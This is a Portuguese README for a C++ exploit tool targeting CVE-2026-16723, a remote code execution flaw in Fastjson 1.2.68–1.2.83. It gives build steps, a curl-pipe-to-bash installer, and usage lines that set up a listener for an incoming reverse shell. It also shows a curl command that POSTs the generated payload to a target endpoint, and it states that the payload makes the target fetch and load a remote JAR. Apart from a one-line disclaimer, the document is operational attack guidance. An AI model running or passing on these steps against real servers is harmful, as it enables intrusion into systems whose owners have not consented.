CVE-2026-16723 Exploit

Uma implementação autônoma em C++17 para CVE-2026-16723, uma vulnerabilidade crítica que afeta as versões 1.2.68 – 1.2.83 do Fastjson.

Requisitos

• Linux (ou WSL no Windows)

• Compilador compatível com C++17 (GCC 7+ ou Clang 5+)

• CMake 3.10 ou mais recente

• Pacotes do sistema:

  • libzip-dev
  • zlib1g-dev

Debian / Ubuntu

sudo apt update
sudo apt install -y build-essential cmake libzip-dev zlib1g-dev

Instalação

Instalação Rápida (Recomendada)

Instale tudo com um único comando:

curl -sSL https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh | bash

Ou baixe e execute o instalador manualmente:

wget https://raw.githubusercontent.com/yourusername/CVE-2026-16723/main/install.sh
chmod +x install.sh
./install.sh

O script de instalação irá:

• Instalar todos os pacotes de sistema necessários.

• Baixar as bibliotecas somente de cabeçalho necessárias:

  • nlohmann/json
  • cpp-httplib

• Compilar o projeto.

• Colocar o binário compilado no diretório atual como:

./exploit

Compilação Manual

Se você clonou o repositório:

git clone https://github.com/yourusername/CVE-2026-16723.git
cd CVE-2026-16723
./install.sh

Ou compile manualmente:

mkdir build
cd build

cmake ..
make -j$(nproc)

cp exploit ../

Uso

Execute o binário:

./exploit --lhost <YOUR_IP> --lport <SHELL_PORT> [options]

Exemplo

./exploit --lhost 192.168.1.100 --lport 4444 --http-port 8000

Após a execução, os seguintes arquivos serão criados:

x
body.json

O servidor HTTP iniciará na porta configurada (padrão: 8000) e a ferramenta aguardará uma conexão de reverse shell de entrada.

Enviando o Payload

Envie o arquivo body.json gerado para o endpoint vulnerável:

curl -X POST http://<TARGET_IP>:8080/api/products/search \
     -H "Content-Type: application/json" \
     --data-binary @body.json

Se a aplicação esperar um campo JSON diferente, especifique-o usando a opção --field.

Opções de Linha de Comando

Arquivos de Saída

Notas

• Este projeto destina-se somente a testes de segurança autorizados e fins educacionais.
• A implementação força a aplicação alvo a baixar e carregar um JAR remoto usando os protocolos jar:http e jar:file.
• O comando do reverse shell é codificado em Base64 para reduzir problemas de escape.

Siga-me no Twitter (X)

• MNM